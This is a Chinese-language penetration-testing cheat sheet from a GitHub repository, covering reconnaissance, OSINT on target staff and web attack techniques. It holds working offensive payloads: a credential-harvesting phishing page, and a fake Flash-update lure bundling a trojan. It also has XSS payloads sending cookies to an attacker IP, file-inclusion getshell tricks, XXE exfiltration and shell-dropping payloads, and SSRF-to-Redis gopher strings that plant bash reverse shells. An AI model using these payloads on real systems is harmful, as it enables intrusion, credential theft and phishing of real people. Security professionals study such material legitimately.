songofhack / Pentest_Note

渗透测试常规操作记录

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

  • Author:小y
  • 公众号:关注安全技术 image

Pentest_Note

转载请随意,记得加from

声明1:

依照《中华人民共和国网络安全法》等相关法规规定,任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

声明2:

以下内容均在本地完成复现,不涉及任何非法行为,不允许使用本项目所提及的所有技术内容进行非法行为,使用技术的风险由使用者自行承担。

信息收集

Whois

站点注册人注册过的其他网站(对注册人、邮箱、电话的反查),对查到的站点的深入

网站IP

是否存在CDN

Ping、多地ping、国外ping

Bypass cdn常规方式

子域名
https://dnsdb.io/zh-cn/
Ping根域名
Nslookup
Cloudflare的真实IP寻找
  http://crimeflare.org:82/cfs.html
  https://github.com/gwen001/pentest-tools/blob/master/cloudflare-origin-ip.py
查找老域名
查找关联域名
  www.baidu.com
  www.baidu.cn
  www.baidu.org
  www.baidu.xyz等等
信息泄露/配置文件
Phpinfo
网页源码
Svn
Github
Shodan/fofa/zoomeye
SSL证书记录
https://censys.io/
网站漏洞
  Xss
  Ssrf
  命令执行
  SQL注入(某种情况loadfile读取linux的ip配置文件,hosts文件等)
DNS记录,证书记录
设置xff/x-remote-ip/x-remote-addr为127.0.0.1/或ipv6地址
RSS订阅/邮件头
APP反编译搜索/截取APP的请求信息
修改hosts文件指向

域名历史IP

https://x.threatbook.cn/

网站架构/服务器指纹/CMS识别/容器

Whatweb
网页源代码
请求头/响应头
网站底部,顶部,左上角右上角
网站报错信息
http://www.yunsee.cn/
域名/install
Firefox插件Wappalyzer
CMS漏洞
  定位版本对应已知漏洞检查
  CMS未知漏洞挖掘
Web容器已知漏洞(解析漏洞这种)
显示网站使用的技术
  https://builtwith.com/
中间件、组件
Weblogic、tomcat、zabbix、struts、axis等
https://github.com/FortyNorthSecurity/EyeWitness

子域名

老站、同样架构或同源码的子站
爆破,接口查询
  https://phpinfo.me/domain/
  https://d.chinacycc.com/index.php?m=Login&a=index
  subDomainBrute、knockpy
OWA发现、dig adfs、dig mail
https://dns.bufferover.run/dns?q=baidu.com
http://api.hackertarget.com/reversedns/?q=target.com

网站使用的CMS的官方demo站

找不到demo就找源码开发者,加群什么的,结合社会工程学要个后台截图(对于一些后台目录复杂的cms),注意看网站上一些功能介绍的截图。

SSL证书信息

https://crt.sh/?q=%25.target.com
https://censys.io/certificates?q=target.com
https://github.com/cheetz/sslScrape

DNS历史解析记录

https://dnsdumpster.com/
https://censys.io/
https://securitytrails.com/
域传送漏洞检查
  Dnsenum、fierce
http://ha.ckers.org/fierce/ 
$ ./fierce.pl -dns example.com 
$ ./fierce.pl –dns example.com –wordlist myWordList.txt
>dig @ns.example.com example=.com AXFR 
>nslookup -type=ns xxx.yyy.cn #查询解析某域名的DNS服务器
>nslookup #进入nslookup交互模式
>server dns.domian.com #指定dns服务器
>ls xxx.yyy.cn #列出域信息

同服站点情况

https://site.ip138.com/
火狐插件flagfox,配置单击指向bing查ip对应的域名

同样架构或源码的站

网站js

https://github.com/003random/getJS
https://github.com/Threezh1/JSFinder
或浏览器F12也可以看到加载的
敏感信息、可能存在漏洞的参数等信息
查看网页源代码,注释的一些信息,比如没有删掉的接口、前台没有的页面、越权、注入、js等

网站使用的第三方js

云信息

Aliyun、AWS、GCP、Azure等
查找可公开访问的实例
  https://github.com/gwen001/s3-buckets-finder
  https://github.com/nccgroup/aws-inventory
  https://github.com/jordanpotti/AWSBucketDump

APP反编译

url、js、osskey、api等信息查找
搜集到接口该怎么做
  Fuzz常见参数

C段/B段信息

Banner、是否存在目标的后台或其他入口/其他业务系统

工具

recon-ng,theharvester,maltego,exiftool等
https://www.spiderfoot.net/
https://github.com/smicallef/spiderfoot

端口对外开放情况

Masscan、scanport等
针对常见的那些端口的利用的常规方法
常见的未授权访问的服务如redis,mongodb等

目录扫描/爬虫(慎用)

WAF情况识别

https://github.com/EnableSecurity/wafw00f
做好绕过策略的计划

随手测试

单引号
xx.jpg/.php
admin/123456
万能密码
Heartbleed漏洞

搜索引擎

Google自定义搜索引擎整合的300多个社交网站
  https://cse.google.com/cse?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:iyxger-cwug&q=%22%22
Google自定义搜索引擎整合的文件共享网站
  https://cse.google.com/cse/publicurl?key=AIzaSyB2lwQuNzUsRTH-49FA7od4dB_Xvu5DCvg&cx=001794496531944888666:hn5bcrszfhe&q=%22%22
领英用户提取
  https://cse.google.com/cse?cx=001394533911082033616:tm5y1wqwmme

Shodan/fofa/zoomeye

Google dorks

 Site,filetype,intitle,inurl,intext等

信息泄露

电话、邮箱,姓名
目录遍历
备份文件
  (www.zip,xx.com.zip,www.xx.com.zip,wwwroot.zip)
.svn/.git/sql/robots/crossdomin.xml/DS_Store等
  https://github.com/lijiejie/ds_store_exp
  https://github.com/admintony/svnExploit
若是论坛ID=1的用户名一般为管理、或查看帖子信息、生成字典
网页上客服的QQ(先判断是企业的还是个人,用处有时不太大,看怎么用,搞个鱼叉什么的)

网页缓存

http://www.cachedpages.com/

图片反查

百度识图、googleimage、tineye
原图查询坐标

社交

QQ、weibo、支付宝、脉脉、领英、咸鱼、短视频、人人、贴吧、论坛
外网信息
有些人喜欢把自己的生活传到外网
  推特、ins、fb等

手机号加入通讯录匹配各个APP用户信息

注册过的网站

https://www.reg007.com/
https://www.usersearch.org/

目标人员的兴趣

	目标人员的兴趣 注册过的小众论坛,站点
针对此类站点的深入
收集到的用户名,电话等信息生成字典

邮箱搜集

https://hunter.io/
https://github.com/killswitch-GUI/SimplyEmail

Exchange

https://github.com/dafthack/MailSniper

验证邮箱是否存在

https://tools.verifyemailaddress.io/

历史泄露过的资料等

库
https://haveibeenpwned.com/
https://github.com/kernelmachine/haveibeenpwned

Github/Gitee等代码托管平台

https://github.com/dxa4481/truffleHog
https://github.com/lijiejie/GitHack
https://github.com/MiSecurity/x-patrol
https://github.com/az0ne/Github_Nuggests
https://github.com/mazen160/GithubCloner克隆用户的github

被入侵网址列表

http://zone-h.org/archive
wooyun镜像查找目标企业曾出现的漏洞

GPS查询

https://www.opengps.cn/Default.aspx

网站URL提取

http://www.bulkdachecker.com/url-extractor/

蜜罐判断(参考一下即可)

https://honeyscore.shodan.io/

默认密码

https://default-password.info/
http://routerpasswords.com

如需注册

Sms
  https://www.materialtools.com/
  http://receivefreesms.com/
Email
  https://10minutemail.net/
  https://zh.mytrashmailer.com/
  http://24mail.chacuo.net/enus
  https://www.linshiyouxiang.net/
Fake id
  https://www.fakenamegenerator.com/
  http://www.haoweichi.com/
  https://www.fakeaddressgenerator.com/

企业信息

天眼查、企查查、企业信用信息公示系统
企业邮箱收集,企业架构画像、人员统计、人员职责、部门、WiFi、常用部门密码、人员是否泄露过密码、人员平时爱逛的站点、OA/erp/crm/sso/mail/vpn等入口、网络安全设备(waf,ips,ids,router等统计)、内部使用的代码托管平台(gitlab、daocloud等),bug管理平台、服务器域名资产统计

入口点

win10 安装kali(wsl)

Microsoft Store查找kali下载。
Powershell执行
>Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
源设置vim /etc/apt/source.list
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free 
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
>sudo su
>passwd root修改root密码
>apt-get update &apt-get upgrade 更新
>apt-get dist-upgrade 
>apt-get clean
cmd>kali config --default-user root 设置默认启动用户为root
cmd>net stop/start LxssManager重启服务
>apt-get install metasploit-framework
>apt install kali-linux-full 安装完整kali工具集

水坑攻击

XSS克隆钓鱼

保存js&css到服务器,登录action改为接受密码的文件action="./pass.php"
<?php //php
  $user=$_POST['username'];
  $pass=$_POST['password'];
  $file=fopen('pass.txt','a+');
  fwrite($file,$user."|"."pass" . "\n");
  fclose($file);
  echo "<script>window.location.href=\"http://192.168.0.1\"</script>\n";
?>
构造payload
<script>window.location.href="http://192.168.0.1/login.html"</script>
php –S 0.0.0.0:8080 –t ./

伪造页面钓鱼

1

https://github.com/r00tSe7en/Fake-flash.cn
添加xss平台模块
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低,尝试升级后访问该页面!");
window.location.href="http://www.flash.com";
制作自解压捆绑
一个马.exe,一个正常exe,全选,winrar添加到压缩文件,选择创建自解压格式压缩文件,高级->自解压选项,设置解压路径,c:\windows\temp\,设置->解压后运行两个exe文件,模式全部隐藏,更新,解压并更新文件,覆盖所有文件。
ResourceHacker修改文件图标

2

  if(empty($_COOKIE['flash'])){
      echo '<script>alert("你当前计算机的Flash软件已经很久未更新,将导致无法正常显示界面内容,请下载安装最新版本!");window.location="http://www.flash.cn.xx.com/"</script>';
      setcookie("flash","true",time()+30*2400);
  }

对外服务攻击

Web

前端/逻辑漏洞

注册
任意用户注册
可爆破用户名
注入
XSS
登录
爆破用户名,密码
注入
万能密码
Xss
Xss+Csrf
修改返回包信息,登入他人账户
修改cookie中的参数,如user,adminid等
任意密码重置
1.重置一个账户,不发送验证码,设置验证码为空发送请求。
2.发送验证码,查看相应包
3.验证码生存期的爆破
4.修改相应包为成功的相应包
5.手工直接跳转到校验成功的界面
6.两个账户,重置别人密码时,替换验证码为自己正确的验证码
7.重置别人密码时,替换为自己的手机号
8.重置自己的成功时,同意浏览器重置别人的,不发验证码
9.替换用户名,ID,cookie,token参数等验证身份的参数
10.通过越权修改他人的找回信息如手机/邮箱来重置
信息泄露
HTML源码、JS等查看信息搜集一章
后台
登录参数修改为注册参数/reg、/register、/sign等

JWT攻击手法

https://jwt.io/#debugger-io
未校验签名
将原JWT串解码后修改用户名等身份认证的地方,生成新token发送请求
禁用哈希

image

Alg代表加密方式,修改用户名等身份认证的地方,把HS256设置为none生成token发送请求,使用python的pyjwt模块

image

jwt.encode({'user':'admin','arg1':'value1','arg2':'value2'},algorithm='none',key='')
暴破弱密钥
>pip3 install pyjwt
>python3 crack.py
import jwt
import termcolor

jwt_str = R'token'
with open('/root/password.txt') as f:
  for line in f:
  key_ = line.strip()
  try:
    jwt.decode(jwt_str,verify=True,key=key_)
    print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
    break
  except(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
    print('\r','\bfound key -->',termcolor.colored(key_,'green'),'<--')
  except jwt.exceptions.InvalidSignatureError:
    print('\r',' ' * 64, '\r\btry',key_,end='',flush=True)
    continue
else:
  print('\r','\bnot found.')

XSS

打COOKIE
<svg/onload="javascript:document.location.href=('http://xx.xx.xx.xx:7777?cookie='+document.cookie)">
读取HTML
<svg/onload="document.location='http://xx.xx.xx.xx:7777/?'+btoa(document.body.innerHTML)">
读文件
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
	if (xmlhttp.readyState==4 && xmlhttp.status==200)
	{
		document.location='http://xx.xx.xx.xx:7777/?'+btoa(xmlhttp.responseText);
	}
}
xmlhttp.open("GET","file.php",true);
xmlhttp.send();
">
XSS+SSRF读取服务器文件

<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

CSRF

查看有无token等验证身份的参数,删掉后是否返回正常
查看header中referer,origin参数,删掉后是否返回正常
使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试
去掉referer中域名后面的文件夹或文件
替换二级域名

php任意文件读取/下载

readfile()、file_get_contents()、fopen()等读文件的函数不严谨,读取文件路径可控,输出内容。
下载配置文件
Redis、Weblogic、ftp、mysql、web配置文件、history文件、数据库配置文件
下载log文件
下载web文件
/1.php?f=../../etc/passwd
/1.php?f=file:///etc/passwd(file://绕过../的防护)
/1.php?f=file:///etc/passwd

php文件包含

函数:
include
require
include_once
require_once
常用协议
file:// — 访问本地文件系统
file协议的工作目录是当前目录,使用file:///wwwroot/1.php等同于./wwwroot/1.php可用于绕过一些情况
php:// — 访问各个输入/输出流(I/O streams)

image

读取
/1.php?file=php://filter/read=convert.base64-encode/resource=./1.php
写入
/1.php?file=php://filter/write=convert.base64-decode/resource=[file]","base64
Getshell
https://github.com/D35m0nd142/LFISuite
allow_url_include 开启时Getshell
远程文件包含
/1.php?file=http://remote.com/shell.txt
/1.php?file=php://input  POST:<?php phpinfo();?>
或使用curl
>curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"
或使用data://协议解析base64的代码
/1.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==
allow_url_include 关闭时Getshell
攻击机开启共享
/1.php?file=//attacker/1.php
创建webdav服务,shell文件放入目录包含即可
>docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
Shell文件放入/root/webdav/data
/1.php?file=//attacker/1.php
包含日志文件getshell
Fuzz文件
https://github.com/fuzzdb-project/fuzzdb
https://github.com/danielmiessler/SecLists
https://blog.csdn.net/qq_33020901/article/details/78810035
/1.php?file=<?php phpinfo();?>
/1.php?file=../../../../../../../var/log/apache2/access.log
Win下使用phpstudy
请求/<?php phpinfo();?>
包含错误日志
/1.php?file=C:\phpStudy\Apache\logs\error.log
上传个图片格式的木马直接包含
/1.php?file=/uploadfile/1.jpg
限制后缀时
<?php
$file = $_GET['file'].".php";
include($file);
?><br>
利用伪协议zip,构造一个zip压缩包,打包一个shell.php,将压缩包更名为png

image

请求/1.php?file=zip://shell.png%23shell

image

也可使用phar协议访问
/1.php?file=phar://shell.png/shell
老版本可以使用%00截断
/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
/var/www/%00
/etc/passwd/././././././.[…]/./././././.
(需要 magic_quotes_gpc=off
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
点号截断:
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
phpinfo-LFI 本地文件包含临时文件getshell
利用临时文件删除时间差获取shell
需要一个lfi漏洞+phpinfo页面
在/tmp/目录下生成个密码为f的一句话木马g

image

修改脚本的phpinfo文件名称

image

LFI文件

image

执行
>python getshell.py 192.168.0.108 80 100
80是端口、100是线程

image image

http://192.168.0.110/index.php?file=../../../tmp/g&f=echo%20%271%27
session + lfi getshell
session.upload_progress.enabled启用时,文件上传会产生进度文件
/var/lib/php5/sess_
/var/lib/php/sess_
LFI SSH Log
>ssh '<?php system($_GET['c']); ?>'@192.168.0.107
>http://192.168.0.107/lfi.php?file=/var/log/auth.log&c=ls
RFI&命令注入上线MSF
MSF生成
#use exploit/multi/script/web_delivery
#set target PHP
注入点注入:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.0.107:1234/OgsOFaj3yKH'));"
RFI:
http://www.xx.com/file=http://192.168.0.107:1234/OgsOFaj3yKH

XML

XML设计的宗旨是传输数据,而非显示数据
XXE=XML外部实体注入、XML=可扩展标记语言
Xml文件声明
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
DTD为XML的文档类型定义
引入外部DTD
<!DOCTYPE 根元素 SYSTEM "filename">
参数实体+外部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "file:///etc/passwd">
	%file;
]>
XML注入
闭合标签,改写xml文件,用户可控,有拼接代码
<?xml version="1.0" encoding="utf-8"?>
<manager>
	<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
若是password可控,拼接代码形成注入
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
XXE
https://github.com/AonCyberLabs/xxe-recursive-download
程序解析XML输入时,未禁止外部实体的加载,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
判断
回显路径
	<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "test">%remote;]>
DNSLOG
	http://www.dnslog.cn/
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY dtd SYSTEM "http://xxx.dnslog.cn/xxe">]>
<xxe>&dtd;</xxe>
Webdav
	存在webdav可使用PROPPATCH、PROPFIND、 LOCK等请求方法接受xml输入形成xxe
Wsdl使用AWVS测试
挖掘
如遇与xml交互的地方
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY test "this is test"> 
]> 
<root>&test;</root>
看是否输出
检查是否支持外部实体
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [  
<!ENTITY % foo SYSTEM "http://attacker/evil.xml"> 
%foo;
]> 
查看你的服务器是否有请求
JSON content-type XXE
修改Content-Type: application/xml
X-Requested-With: XMLHttpRequest
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<参数name>name</参数name>
<参数value>&xxe;</ 参数value>
</root>
有回显读取本地文件
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:////etc/passwd"> ]> 
<creds>&goodies;</creds>
也可去掉文件列目录
file:///root/.sh/id_rsa
特殊字符
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:////tmp/xxx.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://attacker/evil.dtd"> 
%dtd; ]> 
<roottag>&all;</roottag>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">
Blind OOB XXE无回显读取
需使用参数实体,引用外部DTD
Payload
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker:9999?p=%file;'>">
列目录
远程payload
<!ENTITY % a SYSTEM "file:///"> <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'gopher://ip:80/%a;'>"> %b; %c;
注入payload
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker:80/1.xml">%remote;]><root/>
不同平台支持的协议

image

执行命令
安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
内网主机探测
可先读取/etc/network/interfaces、/proc/net/arp、/etc/hosts等文件查询IP段
使用脚本
内网端口扫描
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>4</data>
可使用burpsuite的intruder模块进行遍历
内部DTD利用
Linux
	<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'>
%local_dtd;
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>
    <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
    <!ELEMENT aa (bb'>

%local_dtd;
]>
<message>any text</message>
XXE写shell
当XXE支持XSL时
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
    System.Net.WebClient webClient = new System.Net.WebClient();
    webClient.DownloadFile("https://x.x.x.x/shell.txt",
                   @"c:\inetpub\wwwroot\shell.aspx");

return "Exploit Success";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>

SSRF

定义
服务端请求伪造
构造一个由服务器发出请求的漏洞
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
成因
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()等函数使用不当会造成SSRF漏洞
挖掘
转码服务
在线翻译
获取超链接的标题等内容进行显示
请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片)
图片、文章收藏功能
对外发起网络请求的地方,网站采集、网页抓取的地方。
头像 (远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
数据库内置功能(mongodb的copyDatabase函数)
邮件系统
文件处理
在线处理工具
从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain
XML
<!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
<!ENTITY % file system "file:///etc/passwd" >
<!ENTITY % d SYSTEM "http://wuyun.org/file?data=%file">
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">
<xenc:AgreementMethod Algorithm= "http://wuyun.org/1">
<xenc:EncryptionProperty Target= "http://wuyun.org/2">
<xenc:CipherReference URI= "http://wuyun.org/3">
<xenc:DataReference URI= "http://wuyun.org/4">
<Reference URI="http://wuyun.org/5">
<To xmlns="http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To>
<ReplyTo xmlns="http://www.w3.org/2005/08/addressing">
<Address>http://wuyun.org/rto</Address>
<input message="wooyun" wsa:Action="http://wuyun.org/ip" />
<output message="wooyun" wsa:Action="http://wuyun.org/op" />
<wsp:PolicyReference URI=“http://wuyun.org/pr">
<fed:Federation FederationID="http://wuyun.org/fid">
<fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude>
<fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName>
<mex:MetadataReference>
<wsa:Address>http://wuyun.org/mex</wsa:Address>
</mex:MetadataReference>
<edmx:Reference URI="http://wuyun.org/edmxr">
<edmx:AnnotationsReference URI="http://wuyun.org/edmxa">
<xbrli:identifier scheme="http://wuyun.org/xbr">
<link:roleType roleURI="http://wuyun.org/role">
<stratml:Source>http://wuyun.org/stml</stratml:Source>
数据库
MongoDB
db.copyDatabase('\r\nconfig set dbfilename ssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
PostgresSQL
SELECT dblink_send_query(
 'host=127.0.0.1 
dbname=quit 
user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' 
password=1 port=6379 sslmode=disable', 
'select version();’ 
);
MSSQL
SELECT openrowset('SQLOLEDB', 'server=192.168.1.5;uid=sa;pwd=sa;database=master')
SELECT * FROM OpenDatasource('SQLOLEDB', 'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories
图片处理函数
FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
ImageMagick
fill 'url(http://wyssrf.wuyun.org)'
攻击
测试代码,需安装phpcurl模块apt-get install php7.0-curl
<?php
echo 'r u ok?';
function curl($url){  
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>
对内网、本地进行端口扫描,获取服务的banner 信息
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
读取内网资源(如:利用file协议读取本地文件等)
跳板
无视cdn
利用Redis未授权访问,HTTP CRLF注入实现getshell
文件读取
>curl -v 'http://192.168.0.110/ssrf.php?url=file:///etc/passwd'

image

?url=php://filter/read=convert.base64-encode/resource=./1.php
端口探测
>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:22/'

image

>curl -v 'http://www.xx.com/ssrf.php?url=dict://127.0.0.1:6379/info'

image

SSRF+Redis
>curl -v 'http://192.168.0.112/ssrf.php?url=gopher://192.168.0.120:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.0.108%2f12345%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

image image

302反弹shell
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=flushall
302.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
?url=http://xxxx/reverse.php?s=dict&ip=10.20.*.*&port=6379&bhost=*.*.*.*&bport=1234
reverse.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dir:/var/spool/cron/
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dbfilename:root
?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=save
可设置burp–>intruder指定变量跑。
Mysql
https://github.com/FoolMitAh/mysql_gopher_attack
https://fireshellsecurity.team/isitdtu-friss/
Weblogic SSRF+Redis
探测
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
Redis反弹
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.0.110:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
SSRF+内网Struct2
http://www.xx.com/ssrf.php?url=http://10.1.1.1/action?action?redirect:http://attackerip/
Ueditor SSRF
/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
探测存活主机
直接访问
http://www.xx.com/ssrf.php?url=http://192.168.0.1

image

伪造POST请求
>curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'
绕过方法
本地绕过
http://127.0.0.1=http://localhost
[::]绕过
http://[::]:80=http://127.0.0.1
@绕过
http://www.xx.com/1.php?url=http://www.xx.com@127.0.0.1:8080
利用短网址
http://tool.chinaz.com/tools/dwz.aspx
http://dwz.cn/
DNS解析
http://www.qq.com.127.0.0.1.xip.io,可解析为127.0.0.1
自己域名设置A记录,指向127.0.0.1
进制转换
127.0.0.1
八进制:0177.0.0.1
